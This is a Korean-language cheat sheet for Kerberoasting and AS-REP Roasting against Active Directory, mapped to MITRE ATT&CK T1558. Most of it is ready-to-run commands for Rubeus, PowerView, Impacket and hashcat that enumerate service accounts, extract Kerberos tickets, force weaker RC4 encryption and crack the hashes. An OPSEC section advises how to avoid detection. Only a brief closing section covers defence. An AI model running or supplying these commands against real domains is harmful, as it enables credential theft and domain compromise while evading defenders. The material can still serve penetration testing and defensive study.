ATT&CK: T1558.003 Kerberoasting, T1558.004 AS-REP Roasting · Credential Access (TA0006)
Rubeus는 .NET으로 쓴 Kerberos 공격 도구. 일반 도메인 사용자 권한만 있으면 Kerberoasting이 되고, Pre-auth가 꺼진 계정이 있으면 AS-REP Roasting이 된다 — 둘 다 가장 가성비 좋은 초기 Credential Access.
1. Kerberoasting — SPN 서비스 계정 노리기
1.1 SPN 열거
# Rubeus
.\Rubeus.exe kerberoast /outfile:tgs.txt
# 특정 사용자만
.\Rubeus.exe kerberoast /user:svc_sql /outfile:tgs.txt
# PowerView 로 SPN 리스트 미리 보기
Get-DomainUser -SPN | Select SamAccountName, ServicePrincipalName
1.2 받은 TGS를 hashcat 포맷으로
Rubeus 출력은 이미 hashcat 포맷($krb5tgs$23$*...*$...). 바로 투입:
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt
-m 13100: RC4-HMAC Kerberos 5 TGS-REP.- AES로 암호화된 티켓은
-m 19700(AES-256). 요즘 환경은 AES가 기본이라 크랙 성공률 낮음.
1.3 RC4 강제 요청
AES가 기본이면 Rubeus에게 RC4 티켓을 요청하도록 유도 — 크랙 가능성 급상승:
.\Rubeus.exe kerberoast /tgtdeleg /rc4opsec /outfile:tgs.txt
/rc4opsec은 사용자 지정 /supportedEncryptionTypes 플래그를 세팅.
2. AS-REP Roasting — Pre-auth 꺼진 계정
2.1 대상 식별
# PowerView
Get-DomainUser -PreauthNotRequired | Select SamAccountName
2.2 Rubeus로 AS-REP 추출
# 특정 사용자
.\Rubeus.exe asreproast /user:alice /format:hashcat /outfile:asrep.txt
# 전체 자동
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
2.3 크랙
hashcat -m 18200 asrep.txt rockyou.txt
3. Impacket 대안 (Linux에서)
Windows 호스트 쓸 수 없을 때:
# Kerberoasting
impacket-GetUserSPNs -request -dc-ip 10.0.0.10 CORP/alice:Password
# AS-REP Roasting
impacket-GetNPUsers CORP/ -usersfile users.txt -no-pass -dc-ip 10.0.0.10
사용자 리스트는 kerbrute 등으로 사전 열거.
4. OPSEC
- Kerberoasting은 AS/TGS 요청 자체는 정상 Kerberos 트래픽이라 네트워크 로그만으로는 구분 어렵다. 다만 DC Event ID **4769 (TGS 요청)**에서 RC4 암호화 티켓이 급증하면 탐지됨.
/tgtdeleg+/rc4opsec조합은 로그가 더 특이해지므로 반드시 조용히 가야 할 때는 피하기.- AS-REP는 pre-auth 비활성 계정 자체가 희귀. 보통 레거시 서비스 계정.
5. 방어자 측
- SPN 걸린 서비스 계정은 반드시 25자+ 복잡 패스워드 또는 gMSA(관리형 서비스 계정)로 전환.
- AES-only 설정으로 RC4 다운그레이드 차단.
- Event 4769 모니터링 — 짧은 시간 다수 TGS 요청.
참고
- GhostPack/Rubeus
- Impacket
- MITRE ATT&CK — T1558